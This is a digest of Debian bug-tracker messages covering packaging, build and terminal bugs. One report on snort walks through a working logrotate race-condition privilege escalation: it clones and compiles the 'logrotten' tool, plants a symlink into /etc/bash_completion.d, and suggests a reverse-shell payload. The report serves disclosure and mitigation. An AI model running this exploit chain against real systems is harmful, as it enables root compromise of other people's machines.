or in an amrhf system:
 - usr/lib/arm-linux-gnueabihf/libparasail_novec.a
 - usr/lib/arm-linux-gnueabihf/libparasail_novec_rowcol.a
sometimes are there or not.

I'll have to remember you that building differently depending on the CPU
features of the build host is not allowed by Policy.


Furthermore, I notice that amongst the i386 build, there are files such
as
 - usr/lib/i386-linux-gnu/libparasail_sse2.a
 - usr/lib/i386-linux-gnu/libparasail_sse41.a
that makes me wonder if the program is unconditially using SSE
instructions on i386, that would be a baseline violation; but since I
haven't verified if those features are used unconditially I'm not filing
this report about this, however please do check.


 [1]: https://wiki.debian.org/ReproducibleBuilds


-- 
regards,
Mattia Rizzolo

GPG Key: 66AE 2B4A FCCF 3F52 DA18  4D18 4B04 3FCD B944 4540  .''`.
More about me:  https://mapreri.org : :'  :
Launchpad user: https://launchpad.net/~mapreri  `. `'`
Debian QA page: https://qa.debian.org/developer.php?login=mattia  `-


signature.asc
Description: PGP signature

Bug#1010262: RFS: wifi-qr/0.2-2 -- WiFi Share and Connect with QR

[Bastian Germann]

xOn Wed, 27 Apr 2022 16:25:02 +0200 Bastian Germann  wrote:

Something went wrong. The patch debian/patches/Update-0.2-2-File-Function now 
contains in the description:
"""
  Update Man and Menu Shortcut
  .
  wifi-qr (0.2-2) unstable; urgency=medium
  .
* Improve Summary. (Closes: #989034)
  ...
Bug-Debian: https://bugs.debian.org/989034
"""

This has nothing to do with the patch.


You have not addressed this comment.

Bug#1009820: snort: Privilege escalation due to insecure use of logrotate

[Javier Fernandez-Sanguino]

severity 1009820 normal
tags 1009820 - upstream
thanks

Dear Wolfgang,

The 'snort' user is not a regular user (but a user created by the package
itself, which is blocked from access as it has no password set).
Consequently the privilege escalation you describe cannot be leveraged by a
normal user. The only user in a standard installation of this package that
can become 'snort' is actually the root user itself or if there is a remote
code execution in the Snort software which compromises the Snort process
itself.

The fix proposed (make the files managed by root) is not invalid:
- if /var/log/snort is owned by root then the Snort process (running as
Snort user) will not be able to create the log files
- the Snort process is running as 'snort' user and should not be modified
to be run as 'root'

The reason for this setup is precisely to improve the security of the
software as distributed in Debian and applying a principle of minimum
privilege, it is not an option to have this software running as root as a
vulnerability found in the software (which is reading packages from the
network, input which is by definition, untrusted) could potentially lead to
a compromise of the system it is running in

Consequently I'm adjusting the bug:
- To normal (to be reviewed) as this is not, in my view, a critical bug
- To Debian-specific, as the configuration of logrotate and the setup
(Snort is running as 'snort' user) is specific to the package and not
defined by upstream

The most likely fix for this bug in any case is to adjust the definitions
in the logrotate file, which uses "/var/log/snort/*/alert" and "/var/log/
snort/*/*log". These definitions are too broad and could be simplified.

Best regards,

Javier Fernandez-Sanguino


On Mon, 18 Apr 2022 at 19:27, Wolfgang Hotwagner 
wrote:

> Package: snort
> Version: 2.9.15.1-5
> Severity: critical
> Tags: security upstream
> Justification: root security hole
> X-Debbugs-Cc: sec-advis...@ait.ac.at
>
> Dear Maintainer,
>
> The path of the logdirectory of snort can be manipulated by user
>
> Snort in Debian Bullseye:
>
> # ls -ld /var/log/snort/
> drwxr-s--- 3 snort adm 4096 Apr 14 08:44 /var/log/snort/
>
>
> The files in /var/log/snort/*/*log are once a day rotated by
>
> logrotate as user root with the following config:
>
> /var/log/snort/snort.alert /var/log/snort/snort.alert.fast
> /var/log/snort/*log /var/log/snort/*/alert /var/log/snort/*/*log {
> daily
> rotate 7
> compress
> missingok
> notifempty
> create 0640 snort adm
> sharedscripts
> postrotate
> if [ -x /usr/sbin/invoke-rc.d ]; then \
> invoke-rc.d snort restart > /dev/null; \
> else \
> /etc/init.d/snort restart > /dev/null; \
> fi;
> endscript
> }
>
> Due to logrotate is prone to a race-condition(see the link to my blog
> below) it is possible for user "snort" to replace or create any directory
> in /var/log/snort/ with a symbolik link to any
>
> directory(for example /etc/bash_completion.d). logrotate will place files
> AS ROOT into /etc/bash_completition.d and set the owner and group to
> "snort.adm". An attacker could simply place a reverse-shell into this file.
> As soon as root logs in, a reverse shell will be executed then.
>
> You can find an exploit for this bug at my blog:
> https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
> and
> https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
>
> Proof of Concept:
> #
>
> snort@b8ff2e70f94d:~$ cd /tm
>
> snort@b8ff2e70f94d:/tmp$ git clone
> https://github.com/whotwagner/logrotten.git
> Cloning into 'logrotten'...
> remote: Enumerating objects: 97, done.
> remote: Counting objects: 100% (10/10), done.
> remote: Compressing objects: 100% (8/8), done.
> remote: Total 97 (delta 4), reused 7 (delta 2), pack-reused 87
> Receiving objects: 100% (97/97), 419.77 KiB | 691.00 KiB/s, done.
> Resolving deltas: 100% (41/41), done.
> snort@b8ff2e70f94d:/tmp$ cd logrotten/
> snort@b8ff2e70f94d:/tmp/logrotten$ gcc -o logrotten logrotten.c
>
> snort@b8ff2e70f94d:/tmp/logrotten$ echo "hello world" > payload
> snort@b8ff2e70f94d:/tmp/logrotten$ mkdir /var/log/snort/pwn
> snort@b8ff2e70f94d:/tmp/logrotten$ vim /var/log/snort/pwn/pwnme.lo
>
> snort@b8ff2e70f94d:/tmp/logrotten$ ./logrotten -p payload -c
> /var/log/snort/pwn/pwnme.log
> Waiting for rotating /var/log/snort/pwn/pwnme.log...
> Renamed /var/log/snort/pwn with /var/log/snort/pwn2 and created symlink to
> /etc/bash_completion.d
> Waiting 1 seconds before writing payload...
> Done!
> snort@b8ff2e70f94d:/tmp/logrotten$ ls -l /etc/bash_completion.d/
> total 8
> -rw-r--r-- 1 root  root 439 Mar 10  2021 git-prompt
> -r-xr-xr-x 1 snort adm   19 Apr 14 08:43 pwnme.log
>
>
> Mitigation:
> ###
>
> You could mitigate the problem by changing the owner and group of
> /var/log/snort to root, or by using the "su option" in
> /etc/logrotate.d/snort.
>
> Note: I 

Bug#1010219: terminology: When Terminology is autostarted it launches without window decorations.

[Ross Vandegrift]

Control: reassign -1 kwin-x11

Hi Jon,

On Tue, Apr 26, 2022 at 04:16:31PM +0100, Jon Westgate wrote:
> I'm running KDE / Plasma, I've noticed that sometimes if I just restart my PC 
> having not closed Terminology it is autostarted but launches without any 
> window decorations or handles so you can't move it about. Luckily you can 
> close it by typing exit.
> I also note that there is no transparency.
> 
> I note that closing Terminology and reopening it fixes these issues
> 
> I'm guessing that this is a KDE race condition type bug but none of the other 
> apps that I use have this
> problem.

Agreed, but that means ther'es probably nothing terminology can do.
I've reassigned to kwin-x11, assuming that you're not using wayland.

> I also notice that when I run Terminology from the launcher it opens so
> quickly that the launch feedback take a while to catch up. This is
> not a complaint btw :)
> 
> Is there any way to slow down the startup that you know of? Or make
> Terminology check and wait for compositing / GL to start before it
> continues. 

No, but it'd be simple to workaround with a shell script:

#!/bin/sh
sleep 2
exec /usr/bin/terminology

Put that in your path somewhere, make it executable, and try using it
instead of the default launcher.

Ross

Bug#1010277: threeb: Correct changelog formatting

[Chris Lamb]

Source: threeb
Version: 0.0~git20220106110332.a3144e0-4
Severity: normal
Tags: patch

Hi,

A patch is attached that fixes the changelog formatting — a line is
not indented correctly by one byte. This apparently cosmetic issue
actually causes some parsers to (at least) complain, and may cause
others to fail completely.


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

diff --git a/debian/changelog b/debian/changelog
index bf347d1..0b89ac3 100644
--- a/debian/changelog
+++ b/debian/changelog
@@ -6,7 +6,7 @@ threeb (0.0~git20220106110332.a3144e0-4) unstable; 
urgency=medium
 
 threeb (0.0~git20220106110332.a3144e0-3) unstable; urgency=medium
 
- * Source-only upload for migration to testing.
+  * Source-only upload for migration to testing.
 
  -- Roland Mas   Thu, 10 Feb 2022 11:28:40 +0100
 

Bug#1010271: unbound-control: Please use unix socket as default control-interface

[ceddral]

> Can you tell please which version did you upgrade from?
> Please note that before, unbound in Debian had a patch
> to secretly enable remote-control socket which by default
> is tcp. In this release I just made it explicit instead of
> doing it secretly.
Right you are, the socket was open before. I don't know which
unbound version I had before. The tcp socket only came to my
attention now being explicit in the config. Now that I'm aware
I do believe a unix socket would be the more sensible default.

> Actually it was my thought to enable control socket (I'm not
> sure /var/lib/unbound is a good place for it, /run sounds
> better but I need to check if it works when unbound is
> chrooted.
Tested it, as far as i can tell it works for me with
chroot: "/var/lib/unbound"
and
control-interface: "/run/unbound-control.socket"
(and BindPaths=/run/systemd/notify:/var/lib/unbound/run/systemd/notify
in the systemd service file)

My test was `unbound-control stats` says something.

Cheers
ceddral

Bug#1010271: unbound-control: Please use unix socket as default control-interface

[Michael Tokarev]

27.04.2022 19:38, ceddral wrote:
..

Tested it, as far as i can tell it works for me with
chroot: "/var/lib/unbound"
and
control-interface: "/run/unbound-control.socket"


Thank you for confirming this.  I too did the similar test locally,
you made me curious.


(and BindPaths=/run/systemd/notify:/var/lib/unbound/run/systemd/notify
in the systemd service file)


This is not necessary anymore, but I guess it is nicer this way.
The difference is that the setup script (/usr/libexec/unbound-helper)
does the mount already but this mount is visible for all other
processes. While .service way makes it private to this process
(with its own namespace).

This whole thing isn't actually necessary, it is only needed to
notify systemd when unbound is finished initializing.  It might
be easier in cases like this if systemd passed an open file
descriptor to the process where it can write to, so there's
no need to open a (named) socket.  I wonder if there's a way
to avoid this bind-mount...


My test was `unbound-control stats` says something.


Yeah. I think it's a good idea to switch to unix socket.

Please also note that linux actually honors the file permissions
for the socket files, - unlike on some other systems.

And there's one more thing: unbound chowns the socket to
unbound user. I don't know why it is doing this, - ditto
for the pid file.

FWIW, I tend to chroot it to /etc/unbound, - which needs
bind-mounting of /var/lib/unbound to /etc/unbound/ somewhere,
but reduces the need for copying /etc/unbound to /var/lib.
This copying is bad: besides it makes reloading unbound more
difficult, it is also very security-sensitive, I highly
doubt the copy procedure is "secure enough". Creating files
as root in a unprivileged /var/lib/unbound is problematic.
See how I did root.key handling in unbound-helper.

Thank you!

/mjt

Bug#664971: Fwd: h

[Dr Patrick Awoonor]

Did you receive my previous email?

Dr Patrick Awoonor

Bug#1010271: unbound-control: Please use unix socket as default control-interface

[Michael Tokarev]

27.04.2022 19:38, ceddral wrote:
...

attention now being explicit in the config. Now that I'm aware
I do believe a unix socket would be the more sensible default.


This variant (the unix socket) weren't always available.
It was implemented in version 1.5.2, and I wasn't aware
of this until 1.15.

/mjt

Bug#1010278: xterm_set_titles is broken

[Marco d'Itri]

Package: mutt
Version: 2.2.3-1
Severity: normal

Since 2.2.3-1 xterm_set_titles prints garbage on the screen.
I see that this option is not documented, so I suppose that it has been 
deprecated over the years.
But even with ts_enabled=yes (the default) the terminal status bar is 
not being updated (I checked both gnome-terminal and xterm).


-- Package-specific info:
Mutt 2.2.3 (2022-04-12)
Copyright (C) 1996-2022 Michael R. Elkins and others.
Mutt comes with ABSOLUTELY NO WARRANTY; for details type `mutt -vv'.
Mutt is free software, and you are welcome to redistribute it
under certain conditions; type `mutt -vv' for details.

System: Linux 5.16.0-1-amd64 (x86_64)
ncurses: ncurses 6.3.20220423 (compiled with 6.3)
libidn2: 2.3.2 (compiled with 2.3.2)
hcache backend: tokyocabinet 1.4.48

Compiler:
Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/11/lto-wrapper
OFFLOAD_TARGET_NAMES=nvptx-none:amdgcn-amdhsa
OFFLOAD_TARGET_DEFAULT=1
Target: x86_64-linux-gnu
Configured with: ../src/configure -v --with-pkgversion='Debian 11.2.0-20' 
--with-bugurl=file:///usr/share/doc/gcc-11/README.Bugs 
--enable-languages=c,ada,c++,go,brig,d,fortran,objc,obj-c++,m2 --prefix=/usr 
--with-gcc-major-version-only --program-suffix=-11 
--program-prefix=x86_64-linux-gnu- --enable-shared --enable-linker-build-id 
--libexecdir=/usr/lib --without-included-gettext --enable-threads=posix 
--libdir=/usr/lib --enable-nls --enable-bootstrap --enable-clocale=gnu 
--enable-libstdcxx-debug --enable-libstdcxx-time=yes 
--with-default-libstdcxx-abi=new --enable-gnu-unique-object 
--disable-vtable-verify --enable-plugin --enable-default-pie --with-system-zlib 
--enable-libphobos-checking=release --with-target-system-zlib=auto 
--enable-objc-gc=auto --enable-multiarch --disable-werror --enable-cet 
--with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32,m64,mx32 
--enable-multilib --with-tune=generic 
--enable-offload-targets=nvptx-none=/build/gcc-11-GT6Wjf/gcc-11-11.2.0/debian/tmp-nvptx/usr,amdgcn-amdhsa=/build/gcc-11-GT6Wjf/gcc-11-11.2.0/debian/tmp-gcn/usr
 --without-cuda-driver --enable-checking=release --build=x86_64-linux-gnu 
--host=x86_64-linux-gnu --target=x86_64-linux-gnu 
--with-build-config=bootstrap-lto-lean --enable-link-serialization=2
Thread model: posix
Supported LTO compression algorithms: zlib zstd
gcc version 11.2.0 (Debian 11.2.0-20) 

Configure options: --build=x86_64-linux-gnu --prefix=/usr 
'--includedir=${prefix}/include' '--mandir=${prefix}/share/man' 
'--infodir=${prefix}/share/info' --sysconfdir=/etc --localstatedir=/var 
--disable-option-checking --disable-silent-rules 
'--libdir=${prefix}/lib/x86_64-linux-gnu' --runstatedir=/run 
--disable-maintainer-mode --disable-dependency-tracking 
--with-mailpath=/var/mail --enable-compressed --enable-debug --enable-fcntl 
--enable-hcache --enable-gpgme --enable-imap --enable-smtp --enable-pop 
--enable-sidebar --enable-dotlock --disable-fmemopen --with-curses 
--with-gnutls --with-gss --with-idn2 --with-mixmaster --with-gsasl 
--without-gdbm --without-bdb --without-qdbm --with-tokyocabinet 
build_alias=x86_64-linux-gnu 'CFLAGS=-g -O2 
-ffile-prefix-map=/build/mutt-OjBqXe/mutt-2.2.3=. -fstack-protector-strong 
-Wformat -Werror=format-security' 'LDFLAGS=-Wl,-z,relro -Wl,-z,now' 
'CPPFLAGS=-Wdate-time -D_FORTIFY_SOURCE=2'

Compilation CFLAGS: -Wall -pedantic -Wno-long-long -g -O2 
-ffile-prefix-map=/build/mutt-OjBqXe/mutt-2.2.3=. -fstack-protector-strong 
-Wformat -Werror=format-security

Compile options:
-DOMAIN
+DEBUG
-HOMESPOOL  +USE_SETGID  +USE_DOTLOCK  +DL_STANDALONE  +USE_FCNTL  -USE_FLOCK   
+USE_POP  +USE_IMAP  +USE_SMTP  
-USE_SSL_OPENSSL  +USE_SSL_GNUTLS  -USE_SASL  +USE_GSASL  +USE_GSS  
+HAVE_GETADDRINFO  
+HAVE_REGCOMP  -USE_GNU_REGEX  
+HAVE_COLOR  +HAVE_START_COLOR  +HAVE_TYPEAHEAD  +HAVE_BKGDSET  
+HAVE_CURS_SET  +HAVE_META  +HAVE_RESIZETERM  +HAVE_FUTIMENS  
+CRYPT_BACKEND_CLASSIC_PGP  +CRYPT_BACKEND_CLASSIC_SMIME  +CRYPT_BACKEND_GPGME  
-EXACT_ADDRESS  -SUN_ATTACHMENT  
+ENABLE_NLS  -LOCALES_HACK  +HAVE_WC_FUNCS  +HAVE_LANGINFO_CODESET  
+HAVE_LANGINFO_YESEXPR  
+HAVE_ICONV  -ICONV_NONTRANS  -HAVE_LIBIDN  +HAVE_LIBIDN2  +HAVE_GETSID  
+USE_HCACHE  
+USE_SIDEBAR  +USE_COMPRESSED  +USE_INOTIFY  
-ISPELL
SENDMAIL="/usr/sbin/sendmail"
MAILPATH="/var/mail"
PKGDATADIR="/usr/share/mutt"
SYSCONFDIR="/etc"
EXECSHELL="/bin/sh"
MIXMASTER="mixmaster"

To contact the developers, please mail to .
To report a bug, please contact the Mutt maintainers via gitlab:
https://gitlab.com/muttmua/mutt/issues


-- System Information:
Debian Release: bookworm/sid
  APT prefers unstable
  APT policy: (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.16.0-1-amd64 (SMP w/4 CPU threads; PREEMPT)
Kernel taint flags: TAINT_WARN
Locale: LANG=it_IT.utf8, LC_CTYPE=it_IT.utf8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: A

Bug#170334: h

[Dr Patrick Awoonor]

> Did you receive my previous email?
>
> Dr Patrick Awoonor
>

Bug#817943: strip-nondeterminism damages .zip files with bzipped members

[Chris Lamb]

Hey Sebastian,

> strip-nondeterminism damages .zip files with bzipped members

According to:

  
https://github.com/redhotpenguin/perl-Archive-Zip/issues/26#issuecomment-529170764

... this has now been fixed. Can you confirm? :)


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Bug#973755: git-buildpackage: gbp clone and import-* should defuse git attributes

[Christoph Berg]

> Quite a lot of packages ship .gitattributes in their tarballs, leading
> to strange effects while building packages and, most importantly,
> leading to the imports not creating Git trees identical to the tarballs.

rdkit was also affected by this. I ended up doing "gbp import-orig
--filter .gitattributes $tarball", but this will have to be remembered
on every future tarball import.

https://salsa.debian.org/debichem-team/rdkit/-/commit/6e8b2f28c07ea515be9549b92e975acf9d25c99b

> A remedy to this would be git-buildpackage creating .git/info/attributes
> with this content:
> 
> * -text -eol -crlf -ident -filter -working-tree-encoding
> 
> This disables any transformation of the version-controlled file.
> 
> Even better would be if gbp created the Git trees manually using
> low-level Git commands which don’t take Git attributes into account.

Is that enough? Any later git command will still mangle the files if
that .gitattributes file is still present.

Maybe it's not a problem since only files in debian/ should be
touched, but I guess there might still be weird problems with files in
debian/patches/ with non-native EOLs.

Christoph

Bug#1010279: python-iso8601: please make the build reproducible

[Chris Lamb]

Source: python-iso8601
Version: 1.0.2-1
Severity: wishlist
Tags: patch
User: reproducible-bui...@lists.alioth.debian.org
Usertags: randomness
X-Debbugs-Cc: reproducible-b...@lists.alioth.debian.org

Hi,

Whilst working on the Reproducible Builds effort [0] we noticed that
python-iso8601 could not be built reproducibly.

This is because it did not clean up some pytest cache directories
properly under .pybuild/ and then that got installed into the binary
package. A patch to this package is attached, although the bug might
really be in pytest itself; I defer to your judgement. :)

 [0] https://reproducible-builds.org/


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

--- a/debian/rules  2022-04-27 10:44:36.901334155 -0700
--- b/debian/rules  2022-04-27 10:49:32.975212375 -0700
@@ -4,3 +4,6 @@
 
 %:
dh $@ --buildsystem=pybuild --with python3
+
+execute_after_dh_auto_test:
+   find -type d -name .pytest_cache -print0 | xargs -0r rm -rfv

Bug#1010275: ITP: rust-bls-dkg -- BLS DKG mechanism

[Jonas Smedegaard]

Needs crate rand-0.7 (or safe-network needs to support newer bls-dkg).

Newest bls_dkg is v0.10, which needs rand v0.8, which is in Debian.

But newest safe-network needs bls_dkg v0.9, which needs rand v0.7, which 
is not in Debian.

Packaging this project is therefore stalled: Waits for either rand v0.7 
to appear in Debian, or for safe-network to depend on crates tied to 
rand v0.8 (not rand v0.7).


 - Jonas

-- 
 * Jonas Smedegaard - idealist & Internet-arkitekt
 * Tlf.: +45 40843136  Website: http://dr.jones.dk/

 [x] quote me freely  [ ] ask before reusing  [ ] keep private

signature.asc
Description: signature

Bug#1010280: gnome-terminal: gnome terminal re-scales after toggling fullscreen mode

[zktosu]

Package: gnome-terminal
Version: 3.44.0-1
Severity: minor
Tags: a11y
X-Debbugs-Cc: zkt...@gmail.com

Dear Maintainer,


   * What led up to the situation?
making gnome-terminal window fullscreen then normal again


I am not sure if it is related or not but I have changed bash to zsh.


-- System Information:
Debian Release: bookworm/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)

Kernel: Linux 5.10.0-8-amd64 (SMP w/8 CPU threads)
Kernel taint flags: TAINT_PROPRIETARY_MODULE, TAINT_FIRMWARE_WORKAROUND, 
TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages gnome-terminal depends on:
ii  dbus-user-session [default-dbus-session-bus]  1.14.0-1
ii  dbus-x11 [dbus-session-bus]   1.14.0-1
ii  dconf-gsettings-backend [gsettings-backend]   0.40.0-3
ii  gnome-terminal-data   3.44.0-1
ii  gsettings-desktop-schemas 42.0-1
ii  libatk1.0-0   2.38.0-1
ii  libc6 2.33-7
ii  libdconf1 0.40.0-3
ii  libgcc-s1 12-20220319-1
ii  libglib2.0-0  2.72.1-1
ii  libgtk-3-03.24.33-1
ii  libpango-1.0-01.50.6+ds-2
ii  libstdc++612-20220319-1
ii  libuuid1  2.38-4
ii  libvte-2.91-0 0.68.0-1+b1
ii  libx11-6  2:1.7.5-1

Versions of packages gnome-terminal recommends:
ii  gvfs   1.50.0-1
ii  nautilus-extension-gnome-terminal  3.44.0-1
ii  yelp   42.1-1

gnome-terminal suggests no packages.

-- no debconf information

Bug#1010270: Recent update break xterm

[Sven Joachim]

Control: reassign -1 ncurses-base 6.3+20220423-1

Please keep the bug report CC'ed.

Am 27.04.2022 um 18:25 schrieb Klaus Ethgen:

> Am Mi den 27. Apr 2022 um 15:49 schrieb Sven Joachim:
>> > Package: libtinfo5
>> > Version: 6.3+20220423-1
>> > Severity: normal
>> >
>> > Since the last update of this package, applications running inside of
>> > xterm are not always able to update the window title.
>> >
>> > Instead, control output are breaking the layout of the application.
>> >
>> > Broken Applications:
>> > - mutt
>> > - cmus
>> >
>> > Still working:
>> > - zsh
>>
>> Can you give steps to reproduce what is broken?  Also, which version of
>> xterm do you use, and what is the value of the TERM environment
>> variable?
>
> ~> dpkg -l xterm
> ii  xterm  372-1amd64X terminal emulator
> ~> echo $TERM
> xterm-256color
>
> For cmus, just use it, it should show the title of the current song in
> the title of your terminal.
>
> Same for mutt. It should show the message count in title ans some more
> infomations.

Not in its default configuration, you need to have "set ts_enabled=yes"
in your muttrc file.  With that I can confirm the problem.

Two workarounds: set TERM=xterm-p370, _or_ downgrade ncurses-base to
6.3-2, I recommend the latter.

Cheers,
   Sven

Bug#1010281: ldc: FTBFS on armhf and i386

[Sebastian Ramacher]

Source: ldc
Version: 1:1.29.0-1
Severity: serious
Tags: ftbfs
Justification: fails to build from source (but built successfully in the past)
X-Debbugs-Cc: sramac...@debian.org

ldc FTBFS on armhf and i386:

[ 80%] Generating objects-shared/core/atomic.o, 
objects-shared/core/attribute.o, objects-shared/core/bitop.o, 
objects-shared/core/builtins.o, objects-shared/core/checkedint.o, 
objects-shared/core/cpuid.o, objects-shared/core/demangle.o, 
objects-shared/core/exception.o, objects-shared/core/gc/config.o, 
objects-shared/core/gc/gcinterface.o, objects-shared/core/gc/registry.o, 
objects-shared/core/int128.o, objects-shared/core/internal/abort.o, 
objects-shared/core/internal/array/appending.o, 
objects-shared/core/internal/array/capacity.o, 
objects-shared/core/internal/array/casting.o, 
objects-shared/core/internal/array/comparison.o, 
objects-shared/core/internal/array/concatenation.o, 
objects-shared/core/internal/array/construction.o, 
objects-shared/core/internal/array/equality.o, 
objects-shared/core/internal/array/operations.o, 
objects-shared/core/internal/array/utils.o, 
objects-shared/core/internal/atomic.o, 
objects-shared/core/internal/attributes.o, 
objects-shared/core/internal/backtrace/dwarf.o, 
objects-shared/core/internal/backtrace/elf.o, 
objects-shared/core/internal/backtrace/handler.o, 
objects-shared/core/internal/backtrace/libunwind.o, 
objects-shared/core/internal/backtrace/macho.o, 
objects-shared/core/internal/backtrace/unwind.o, 
objects-shared/core/internal/container/array.o, 
objects-shared/core/internal/container/common.o, 
objects-shared/core/internal/container/hashtab.o, 
objects-shared/core/internal/container/treap.o, 
objects-shared/core/internal/convert.o, objects-shared/core/internal/dassert.o, 
objects-shared/core/internal/destruction.o, 
objects-shared/core/internal/elf/dl.o, objects-shared/core/internal/elf/io.o, 
objects-shared/core/internal/entrypoint.o, 
objects-shared/core/internal/execinfo.o, 
objects-shared/core/internal/gc/bits.o, 
objects-shared/core/internal/gc/impl/conservative/gc.o, 
objects-shared/core/internal/gc/impl/manual/gc.o, 
objects-shared/core/internal/gc/impl/proto/gc.o, 
objects-shared/core/internal/gc/os.o, 
objects-shared/core/internal/gc/pooltable.o, 
objects-shared/core/internal/gc/proxy.o, objects-shared/core/internal/hash.o, 
objects-shared/core/internal/lifetime.o, objects-shared/core/internal/moving.o, 
objects-shared/core/internal/parseoptions.o, 
objects-shared/core/internal/postblit.o, objects-shared/core/internal/qsort.o, 
objects-shared/core/internal/spinlock.o, objects-shared/core/internal/string.o, 
objects-shared/core/internal/switch_.o, objects-shared/core/internal/traits.o, 
objects-shared/core/internal/utf.o, objects-shared/core/internal/util/array.o, 
objects-shared/core/internal/util/math.o, 
objects-shared/core/internal/vararg/aarch64.o, 
objects-shared/core/internal/vararg/sysv_x64.o, objects-shared/core/lifetime.o, 
objects-shared/core/math.o, objects-shared/core/memory.o, 
objects-shared/core/runtime.o, objects-shared/core/simd.o, 
objects-shared/core/stdc/assert_.o, objects-shared/core/stdc/complex.o, 
objects-shared/core/stdc/config.o, objects-shared/core/stdc/ctype.o, 
objects-shared/core/stdc/errno.o, objects-shared/core/stdc/fenv.o, 
objects-shared/core/stdc/float_.o, objects-shared/core/stdc/inttypes.o, 
objects-shared/core/stdc/limits.o, objects-shared/core/stdc/locale.o, 
objects-shared/core/stdc/math.o, objects-shared/core/stdc/signal.o, 
objects-shared/core/stdc/stdarg.o, objects-shared/core/stdc/stddef.o, 
objects-shared/core/stdc/stdint.o, objects-shared/core/stdc/stdio.o, 
objects-shared/core/stdc/stdlib.o, objects-shared/core/stdc/string.o, 
objects-shared/core/stdc/tgmath.o, objects-shared/core/stdc/time.o, 
objects-shared/core/stdc/wchar_.o, objects-shared/core/stdc/wctype.o, 
objects-shared/core/stdcpp/allocator.o, objects-shared/core/stdcpp/array.o, 
objects-shared/core/stdcpp/exception.o, objects-shared/core/stdcpp/memory.o, 
objects-shared/core/stdcpp/new_.o, objects-shared/core/stdcpp/string.o, 
objects-shared/core/stdcpp/string_view.o, 
objects-shared/core/stdcpp/type_traits.o, 
objects-shared/core/stdcpp/typeinfo.o, objects-shared/core/stdcpp/utility.o, 
objects-shared/core/stdcpp/vector.o, objects-shared/core/stdcpp/xutility.o, 
objects-shared/core/sync/barrier.o, objects-shared/core/sync/condition.o, 
objects-shared/core/sync/config.o, objects-shared/core/sync/event.o, 
objects-shared/core/sync/exception.o, objects-shared/core/sync/mutex.o, 
objects-shared/core/sync/rwmutex.o, objects-shared/core/sync/semaphore.o, 
objects-shared/core/thread/context.o, objects-shared/core/thread/fiber.o, 
objects-shared/core/thread/osthread.o, objects-shared/core/thread/package.o, 
objects-shared/core/thread/threadbase.o, 
objects-shared/core/thread/threadgroup.o, objects-shared/core/thread/types.o, 
objects-shared/core/time.o, objects-shared/core/vararg.o, 
objects-shared/core/volatile.o, objects-shared/ldc/as

Bug#1008823: transition: thrift

[Sebastian Ramacher]

On 2022-04-26 10:11:34 +0200, Sebastian Ramacher wrote:
> Hi
> 
> On 2022-04-19 14:12:33, Sebastian Ramacher wrote:
> > Control: tags -1 confirmed
> > Control: forwarded -1 
> > https://release.debian.org/transitions/html/auto-thrift.html
> > 
> > On 2022-04-02 11:48:40, László Böszörményi wrote:
> > > Package: release.debian.org
> > > Severity: normal
> > > User: release.debian@packages.debian.org
> > > Usertags: transition
> > > 
> > > Hi RMs,
> > > 
> > > A quick transition of thrift from 0.13.0 to 0.16.0 as the only reverse
> > > build dependency is gnuradio. It builds with the new thrift version as
> > > well.
> > 
> > Please go ahead
> 
> Please ensure in the next upload that libthrift-0.16.0 and
> libthrift-c-glib0 are in Section libs. This will ensure that for the
> next thrift transition britney can perform a smooth update.

Thanks!

thrift migrated and the old binary packages got removed.

Cheers
-- 
Sebastian Ramacher